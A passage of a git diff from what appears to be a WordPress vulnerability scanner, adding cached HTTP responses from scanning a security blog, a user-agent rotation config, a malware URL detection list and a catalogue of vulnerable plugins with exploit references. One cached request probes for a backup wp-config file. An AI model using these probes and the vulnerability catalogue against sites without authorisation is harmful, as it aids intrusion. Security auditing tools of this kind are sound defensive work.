A colleague tweeted a link to a blog post by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn’t really know how it was used so I decided to investigate further.

\n\ +

X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in <frame> or <iframe> HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate clickjacking (UI redressing).

\n\ +

The X-Frame-Options header may have three different values:

\n\ +

DENY – No pages are allowed to be loaded.
\n\ + SAMEORIGIN – Only pages from the same domain are allowed to be loaded.
\n\ + Allow-From http://www.example.com – Only allow frames from www.example.com.

\n\ +

read more…

\n\ +

\n\ + Posted on 7 April, 2012 by ethicalhack3r

\n\ +

\n\ + 5 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Wireless Man In The Middle (MITM)

\n\ +

This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless Main In The Middle (MITM) attack in a coffee shop using a FON+ wireless router, Karma and Jasager. Oh, and they’re the ones who call me an ‘expert’, personally, I hate the term and would never call myself one.

\n\ +

\n\ +

\n\ + Posted on 13 February, 2012 by ethicalhack3r

\n\ +

\n\ + 6 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Prevention of unwanted telemarketing calls

\n\ +

I am tired of receiving multiple telemarketing calls per day, I’m tired of the Telephone Preference Service (TPS) not having an affect and I’m tired of telecommunication companies charging for prevention features which should be free.

\n\ +

I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.

\n\ +

e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.

\n\ +

You can help by signing the petition here;
\n\ + http://epetitions.direct.gov.uk/petitions/17324

\n\ +

\n\ + Posted on 20 January, 2012 by ethicalhack3r

\n\ +

\n\ + No Comments\n\ +

\n\ +
\n \n\ +
\n\ + \n\ + Next Page »\n\ +
\n\ +
\n\ +
\n \n\ + \n
\n\ +
\n\ +
\n\ +
Copyright © 2008-2012 Ryan Dewhurst
\n\ +
\n \n\ +
\n \n\ + \n\ + " +code: 404 +connect_time: 2.8e-05 +curl_error_message: No error +curl_return_code: 0 +effective_url: http://www.ethicalhack3r.co.uk/wp-config.php_bak +headers: | + HTTP/1.1 404 Not Found + Server: cloudflare-nginx + Date: Mon, 09 Jul 2012 08:15:29 GMT + Content-Type: text/html; charset=UTF-8 + Transfer-Encoding: chunked + Connection: keep-alive + Set-Cookie: session=f2egkri13avupn6rhlg42gb3s3bbaq8f; path=/; HttpOnly + Expires: Wed, 11 Jan 1984 05:00:00 GMT + Cache-Control: no-cache, must-revalidate, max-age=0 + Pragma: no-cache + X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php + Last-Modified: Mon, 09 Jul 2012 08:15:29 GMT + Vary: Accept-Encoding + Set-Cookie: __cfduid=d4246d948bbf536e5df63b7ea80b67c9c1341821728; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk + Set-Cookie: __cfduid=d4246d948bbf536e5df63b7ea80b67c9c1341821728; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk + Set-Cookie: __cfduid=d4246d948bbf536e5df63b7ea80b67c9c1341821728; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk + + +http_version: +mock: false +name_lookup_time: 2.7e-05 +pretransfer_time: 2.6e-05 +request: !ruby/object:Typhoeus::Request + after_complete: + auth_method: + body: + cache_timeout: 600 + connect_timeout: + disable_ssl_peer_verification: true + follow_location: + handled_response: + headers: + user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0 + User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + max_redirects: + method: :get + on_complete: !ruby/object:Proc {} + + params: + parsed_uri: !ruby/object:URI::HTTP + fragment: + host: www.ethicalhack3r.co.uk + opaque: + password: + path: /wp-config.php_bak + port: 80 + query: + registry: + scheme: http + user: + password: + proxy: + proxy_auth_method: + proxy_password: + proxy_type: + proxy_username: + response: *id001 + ssl_cacert: + ssl_capath: + ssl_cert: + ssl_cert_type: + ssl_key: + ssl_key_password: + ssl_key_type: + timeout: + url: http://www.ethicalhack3r.co.uk/wp-config.php_bak + user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + username: + verbose: +requested_http_method: +requested_url: +start_time: +start_transfer_time: 0.68455 +status_message: +time: 0.773834 diff --git a/cache/browser/d088c604417091f3f05f5018e3a0ee09aff8a3fc b/cache/browser/d088c604417091f3f05f5018e3a0ee09aff8a3fc new file mode 100644 index 00000000..d7d40321 --- /dev/null +++ b/cache/browser/d088c604417091f3f05f5018e3a0ee09aff8a3fc @@ -0,0 +1,159 @@ +--- &id001 !ruby/object:Typhoeus::Response +app_connect_time: 2.6e-05 +body: | + + + + + ethicalhack3r › Log In + + + + + + + + +
+

ethicalhack3r

+
+

+ +

+

+ +

+ > Encryption password! + +

+

+ + + +

+
+ + +

← Back to ethicalhack3r

+
+
+ + + +code: 200 +connect_time: 2.6e-05 +curl_error_message: No error +curl_return_code: 0 +effective_url: http://www.ethicalhack3r.co.uk/wp-login.php +headers: | + HTTP/1.1 200 OK + Server: cloudflare-nginx + Date: Mon, 09 Jul 2012 08:15:24 GMT + Content-Type: text/html; charset=UTF-8 + Transfer-Encoding: chunked + Connection: keep-alive + Set-Cookie: session=fbijij2hvb22muk4s7k22eqqh73fbeui; path=/; HttpOnly + Expires: Wed, 11 Jan 1984 05:00:00 GMT + Cache-Control: no-cache, must-revalidate, max-age=0 + Pragma: no-cache + Last-Modified: Mon, 09 Jul 2012 08:15:24 GMT + Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/ + X-Frame-Options: SAMEORIGIN + Vary: Accept-Encoding + Set-Cookie: __cfduid=dc3212a602a29949a28842ab47e69526d1341821723; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk + Set-Cookie: __cfduid=dc3212a602a29949a28842ab47e69526d1341821723; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk + Set-Cookie: __cfduid=dc3212a602a29949a28842ab47e69526d1341821723; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk + + +http_version: +mock: false +name_lookup_time: 2.6e-05 +pretransfer_time: 2.5e-05 +request: !ruby/object:Typhoeus::Request + after_complete: + auth_method: + body: + cache_timeout: 600 + connect_timeout: + disable_ssl_peer_verification: true + follow_location: + handled_response: + headers: + user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0 + User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + max_redirects: + method: :get + on_complete: + params: + parsed_uri: !ruby/object:URI::HTTP + fragment: + host: www.ethicalhack3r.co.uk + opaque: + password: + path: /wp-login.php + port: 80 + query: + registry: + scheme: http + user: + password: + proxy: + proxy_auth_method: + proxy_password: + proxy_type: + proxy_username: + response: *id001 + ssl_cacert: + ssl_capath: + ssl_cert: + ssl_cert_type: + ssl_key: + ssl_key_password: + ssl_key_type: + timeout: + url: http://www.ethicalhack3r.co.uk/wp-login.php + user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + username: + verbose: +requested_http_method: +requested_url: +start_time: +start_transfer_time: 0.726025 +status_message: +time: 0.731246 diff --git a/cache/browser/e9a03326c5fdf909f33b69ecb341ecd834ba3355 b/cache/browser/e9a03326c5fdf909f33b69ecb341ecd834ba3355 new file mode 100644 index 00000000..e0aa8ad1 --- /dev/null +++ b/cache/browser/e9a03326c5fdf909f33b69ecb341ecd834ba3355 @@ -0,0 +1,171 @@ +--- &id001 !ruby/object:Typhoeus::Response +app_connect_time: 3.3e-05 +body: | + + + + + WordPress › ReadMe + + + +

+ WordPress +
Version 3.4 +

+

Semantic Personal Publishing Platform

+

First Things First

+

Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.

+

— Matt Mullenweg

+

Installation: Famous 5-minute install

+
    +
  1. Unzip the package in an empty directory and upload everything.
  2. +
  3. Open wp-admin/install.php in your browser. It will take you through the process to set up a wp-config.php file with your database connection details. +
      +
    1. If for some reason this doesn't work, don't worry. It doesn't work on all web hosts. Open up wp-config-sample.php with a text editor like WordPad or similar and fill in your database connection details.
    2. +
    3. Save the file as wp-config.php and upload it.
    4. +
    5. Open wp-admin/install.php in your browser.
    6. +
    +
  4. +
  5. Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your wp-config.php file, and try again. If it fails again, please go to the support forums with as much data as you can gather.
  6. +
  7. If you did not enter a password, note the password given to you. If you did not provide a username, it will be admin.
  8. +
  9. The installer should then send you to the login page. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on 'Profile' to change the password.
  10. +
+

Updating

+

Using the Automatic Updater

+

If you are updating from version 2.7 or higher, you can use the automatic updater:

+
    +
  1. Open the wp-admin/update-core.php in your browser and follow the instructions.
  2. +
  3. You wanted more, perhaps? That's it!
  4. +
+

Updating Manually

+
    +
  1. Before you update anything, make sure you have backup copies of any files you may have modified such as index.php.
  2. +
  3. Delete your old WordPress files, saving ones you've modified.
  4. +
  5. Upload the new files.
  6. +
  7. Point your browser to /wp-admin/upgrade.php.
  8. +
+

Theme Template Changes

+

If you have customized your theme templates, you may have to make some changes across major versions.

+

Migrating from other systems

+

WordPress can import from a number of systems. First you need to get WordPress installed and working as described above, before using our import tools.

+

System Requirements

+
    +
  • PHP version 5.2.4 or higher.
  • +
  • MySQL version 5.0 or higher.
  • +
+

System Recommendations

+ +

Online Resources

+

If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:

+
+
The WordPress Codex
+
The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.
+
The WordPress Blog
+
This is where you'll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.
+
WordPress Planet
+
The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.
+
WordPress Support Forums
+
If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.
+
WordPress IRC Channel
+
There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpress)
+
+

XML-RPC and Atom Interface

+

You can post to your WordPress blog with tools like Windows Live Writer, Ecto, w.bloggar, Radio Userland (which means you can use Radio's email-to-blog feature), NewzCrawler, and other tools that support the blogging APIs! :) You can read more about XML-RPC support on the Codex.

+

Post via Email

+

You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up wp-mail.php to execute periodically to check the mailbox for new posts. You can do it with cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your wp-mail.php URL.

+

Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will delete emails that are successfully posted.

+

User Roles

+

We introduced a very flexible roles system in version 2.0. You can read more about Roles and Capabilities on the Codex.

+

Final Notes

+
    +
  • If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the Support Forums.
  • +
  • WordPress has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this, see the plugin documentation in the Codex. You shouldn't modify any of the core code.
  • +
+

Share the Love

+

WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.

+

WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the WordPress developers. If you would like to support WordPress, please consider donating.

+

License

+

WordPress is free software, and is released under the terms of the GPL version 2 or (at your option) any later version. See license.txt.

+ + + +code: 200 +connect_time: 3.3e-05 +curl_error_message: No error +curl_return_code: 0 +effective_url: http://www.ethicalhack3r.co.uk/readme.html +headers: | + HTTP/1.1 200 OK + Server: cloudflare-nginx + Date: Mon, 09 Jul 2012 08:15:24 GMT + Content-Type: text/html + Transfer-Encoding: chunked + Connection: keep-alive + Last-Modified: Wed, 20 Jun 2012 18:25:15 GMT + ETag: "a0c3-23d7-4c2eb853838c0" + Vary: Accept-Encoding + Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk + Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk + Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk + + +http_version: +mock: false +name_lookup_time: 3.2e-05 +pretransfer_time: 3.1e-05 +request: !ruby/object:Typhoeus::Request + after_complete: + auth_method: + body: + cache_timeout: 600 + connect_timeout: + disable_ssl_peer_verification: true + follow_location: + handled_response: + headers: + user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0 + User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + max_redirects: + method: :get + on_complete: + params: + parsed_uri: !ruby/object:URI::HTTP + fragment: + host: www.ethicalhack3r.co.uk + opaque: + password: + path: /readme.html + port: 80 + query: + registry: + scheme: http + user: + password: + proxy: + proxy_auth_method: + proxy_password: + proxy_type: + proxy_username: + response: *id001 + ssl_cacert: + ssl_capath: + ssl_cert: + ssl_cert_type: + ssl_key: + ssl_key_password: + ssl_key_type: + timeout: + url: http://www.ethicalhack3r.co.uk/readme.html + user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + username: + verbose: +requested_http_method: +requested_url: +start_time: +start_transfer_time: 0.112111 +status_message: +time: 0.19096 diff --git a/cache/browser/fc7f0fd0a60236dd144b356a12427c8223875a21 b/cache/browser/fc7f0fd0a60236dd144b356a12427c8223875a21 new file mode 100644 index 00000000..6d88628d --- /dev/null +++ b/cache/browser/fc7f0fd0a60236dd144b356a12427c8223875a21 @@ -0,0 +1,305 @@ +--- &id001 !ruby/object:Typhoeus::Response +app_connect_time: 0.0 +body: "\n\ + \n\ + \n\ + \n\ + \n\ + \n\ + ethicalhack3r\n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n \n\ + \n\ + \n\ + \n \n\ + \n\ + \n\ + \n\ + \n\ +
\n\ +
\n\ +
\n\ +
\n\ +

ethicalhack3r

\n\ + \n\ +
\n\ +
\n \n\ +
\n\ +
\n\ +
\n\ +
\n\ +

Recent

\n\ +
\n\ +

DevBug – PHP Static Code Analysis

\n\ +

My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.

\n\ +

Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome RIPS Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.

\n\ +

The IDE used is called CodeMirror that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.

\n\ +

read more…

\n\ +

\n\ + Posted on 20 May, 2012 by ethicalhack3r

\n\ +

\n\ + 4 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Old School hacking

\n\ +

Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo’ing (Google was largely unknown) for the term ‘hacking’. Back then Yahoo! Chat was still around and had a chat room called the ‘Hackers Lounge’, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI ‘hacking’ tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these ‘hacking’ tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).

\n\ +

Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 ‘hacking’ tools that I and others used ‘back in the day’. Warning: Download links not verified.

\n\ +

Legion by Rhino9

\n\ +

Use: Windows Null Session share scanner.
\n\ + Released: 1999
\n\ + Platform: Windows
\n\ + Further Info: http://www.informit.com/articles/article.aspx?p=26263&seqNum=5
\n\ + Download: http://packetstormsecurity.org/files/14711/legion.zip.html

\n\ +

\"Legion

\n\ +

read more…

\n\ +

\n\ + Posted on 9 May, 2012 by ethicalhack3r

\n\ +

\n\ + 10 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

X-Frame-Options

\n\ +

A colleague tweeted a link to a blog post by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn’t really know how it was used so I decided to investigate further.

\n\ +

X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in <frame> or <iframe> HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate clickjacking (UI redressing).

\n\ +

The X-Frame-Options header may have three different values:

\n\ +

DENY – No pages are allowed to be loaded.
\n\ + SAMEORIGIN – Only pages from the same domain are allowed to be loaded.
\n\ + Allow-From http://www.example.com – Only allow frames from www.example.com.

\n\ +

read more…

\n\ +

\n\ + Posted on 7 April, 2012 by ethicalhack3r

\n\ +

\n\ + 5 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Wireless Man In The Middle (MITM)

\n\ +

This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless Main In The Middle (MITM) attack in a coffee shop using a FON+ wireless router, Karma and Jasager. Oh, and they’re the ones who call me an ‘expert’, personally, I hate the term and would never call myself one.

\n\ +

\n\ +

\n\ + Posted on 13 February, 2012 by ethicalhack3r

\n\ +

\n\ + 6 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Prevention of unwanted telemarketing calls

\n\ +

I am tired of receiving multiple telemarketing calls per day, I’m tired of the Telephone Preference Service (TPS) not having an affect and I’m tired of telecommunication companies charging for prevention features which should be free.

\n\ +

I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.

\n\ +

e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.

\n\ +

You can help by signing the petition here;
\n\ + http://epetitions.direct.gov.uk/petitions/17324

\n\ +

\n\ + Posted on 20 January, 2012 by ethicalhack3r

\n\ +

\n\ + No Comments\n\ +

\n\ +
\n \n\ +
\n\ + \n\ + Next Page »\n\ +
\n\ +
\n\ +
\n \n\ + \n
\n\ +
\n\ +
\n\ +
Copyright © 2008-2012 Ryan Dewhurst
\n\ +
\n \n\ +
\n \n\ + \n\ + \n \n \n" +code: 200 +connect_time: 0.083137 +curl_error_message: No error +curl_return_code: 0 +effective_url: http://www.ethicalhack3r.co.uk/ +headers: | + HTTP/1.1 200 OK + Server: cloudflare-nginx + Date: Mon, 09 Jul 2012 08:15:23 GMT + Content-Type: text/html; charset=UTF-8 + Transfer-Encoding: chunked + Connection: keep-alive + Expires: Thu, 19 Nov 1981 08:52:00 GMT + X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php + Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 + Pragma: no-cache + Last-Modified: Mon, 09 Jul 2012 07:25:42 GMT + Vary: Accept-Encoding + Set-Cookie: __cfduid=dc3212a602a29949a28842ab47e69526d1341821723; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk + Set-Cookie: __cfduid=dc3212a602a29949a28842ab47e69526d1341821723; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk + Set-Cookie: __cfduid=dc3212a602a29949a28842ab47e69526d1341821723; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk + Content-Encoding: gzip + + +http_version: +mock: false +name_lookup_time: 0.002119 +pretransfer_time: 3.4e-05 +request: !ruby/object:Typhoeus::Request + after_complete: + auth_method: + body: + cache_timeout: 600 + connect_timeout: + disable_ssl_peer_verification: true + follow_location: + handled_response: + headers: + user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0 + User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + max_redirects: + method: :get + on_complete: + params: + parsed_uri: !ruby/object:URI::HTTP + fragment: + host: www.ethicalhack3r.co.uk + opaque: + password: + path: / + port: 80 + query: + registry: + scheme: http + user: + password: + proxy: + proxy_auth_method: + proxy_password: + proxy_type: + proxy_username: + response: *id001 + ssl_cacert: + ssl_capath: + ssl_cert: + ssl_cert_type: + ssl_key: + ssl_key_password: + ssl_key_type: + timeout: + url: http://www.ethicalhack3r.co.uk/ + user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + username: + verbose: +requested_http_method: +requested_url: +start_time: +start_transfer_time: 0.224407 +status_message: +time: 0.317425 diff --git a/conf/browser.conf.json b/conf/browser.conf.json new file mode 100644 index 00000000..306f131a --- /dev/null +++ b/conf/browser.conf.json @@ -0,0 +1,54 @@ +{ + "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0", + /* Modes : + static : will use the defined user_agent for each request + semi-static : will randomly choose a user agent into available_user_agents before each scan + random : each request will choose a random user agent in available_user_agents + */ + "user_agent_mode": "static", + // Uncomment the next line to use the proxy + //"proxy": "127.0.0.1:3038", + "cache_timeout": 600, // 10 minutes, at this time the cache is cleaned before each scan. If this value is set to 0, the cache will be disabled + "request_timeout": 2000, // 2s + "max_threads": 20, + // Some user_agents can be found there http://techpatterns.com/downloads/firefox/useragentswitcher.xml (thx to Gianluca Brindisi) + "available_user_agents": + [ + // Windows + "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5", + "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14", + "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27", + "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1", + "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)", + "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", + "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", + "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1", + "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6", + "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1", + "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0", + "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1", + "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)", + "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", + "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0)", + "Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00", + "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5", + + // MAC + "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13", + "Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", + "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10", + + // Linux + "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1", + "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24", + "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9", + "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0", + "Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0", + "Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00", + "Mozilla/5.0 (X11; U; Linux x86_64; us; rv:1.9.1.19) Gecko/20110430 shadowfox/7.0 (like Firefox/7.0" + ] +} diff --git a/data/malwares.txt b/data/malwares.txt new file mode 100644 index 00000000..5b770ab9 --- /dev/null +++ b/data/malwares.txt @@ -0,0 +1,3 @@ +http://.*.rr.nu +http://www.thesea.org/media.php + diff --git a/data/plugin_vulns.xml b/data/plugin_vulns.xml new file mode 100644 index 00000000..d34f6c38 --- /dev/null +++ b/data/plugin_vulns.xml @@ -0,0 +1,2241 @@ + + + + + + WP-Predict v1.0 Blind SQL Injection + http://www.exploit-db.com/exploits/19715/ + SQLI + + + + + + Backup Plugin 2.0.1 Information Disclosure + http://www.exploit-db.com/exploits/19524/ + UNKNOWN + + + + + + MoodThingy Widget v0.8.7 Blind SQL Injection + http://www.exploit-db.com/exploits/19572/ + SQLI + + + + + + Paid Business Listings v1.0.2 Blind SQL Injection + http://www.exploit-db.com/exploits/19481/ + SQLI + + + + + + Website FAQ Plugin v1.0 SQL Injection + http://www.exploit-db.com/exploits/19400/ + SQLI + + + + + + Fancy Gallery 1.2.4 Shell Upload + http://packetstormsecurity.org/files/114114/ + UPLOAD + + + + + + Flip Book 1.0 Shell Upload + http://packetstormsecurity.org/files/114112/ + UPLOAD + + + + + + Ajax Multi Upload 1.1 Shell Upload + http://packetstormsecurity.org/files/114109/ + UPLOAD + + + + + + Schreikasten 0.14.13 XSS + http://www.exploit-db.com/exploits/19294/ + XSS + + + + + + Wordpress Automatic 2.0.3 CSRF + http://packetstormsecurity.org/files/113763/ + CSRF + + + + + + VideoWhisper Video Conference + 4.51 Arbitrary File Upload Vulnerability + http://packetstormsecurity.org/files/113580/ + UPLOAD + + + + + + Auctions Plugin 2.0.1.3 Arbitrary +File Upload Vulnerability + http://packetstormsecurity.org/files/113568/ + UPLOAD + + + + + + LB Mixed Slideshow 1.0 Arbitrary File Upload Vulnerability + http://packetstormsecurity.org/files/113844/ + UPLOAD + + + + + + Lim4wp 1.1.1 Arbitrary File Upload Vulnerability + http://packetstormsecurity.org/files/113846/ + UPLOAD + + + + + + Wp-ImageZoom 1.0.3 Remote File Disclosure + http://packetstormsecurity.org/files/113845/ + UNKNOWN + + + + + + Invit0r 0.22 Shell Upload + http://packetstormsecurity.org/files/113639/ + UPLOAD + + + + + + Annonces 1.2.0.1 Shell Upload + http://packetstormsecurity.org/files/113637/ + UPLOAD + + + + + + Contus Video Gallery 1.3 Arbitrary +File Upload Vulnerability + http://packetstormsecurity.org/files/113571/ + UPLOAD + + + + + + Contus HD FLV Player 1.7 Arbitrary +File Upload Vulnerability + http://packetstormsecurity.org/files/113570/ + UPLOAD + + + + + + User Meta Version 1.1.1 Arbitrary File Upload Vulnerability + http://www.exploit-db.com/exploits/19052/ + UPLOAD + + + + + + Top Quark Architecture Version 2.10 Arbitrary File Upload Vulnerability + http://www.exploit-db.com/exploits/19053/ + UPLOAD + + + + + + SfBrowser Version 1.4.5 Arbitrary File Upload Vulnerability + http://www.exploit-db.com/exploits/19054/ + UPLOAD + + + + + + Pica Photo Gallery 1.0 Arbitrary File Upload Vulnerability + http://www.exploit-db.com/exploits/19055/ + UPLOAD + + + + + + Mac Photo Gallery 2.7 Arbitrary File Upload + http://www.exploit-db.com/exploits/19056/ + UPLOAD + + + + + + drag and drop file upload 0.1 Arbitrary File Upload 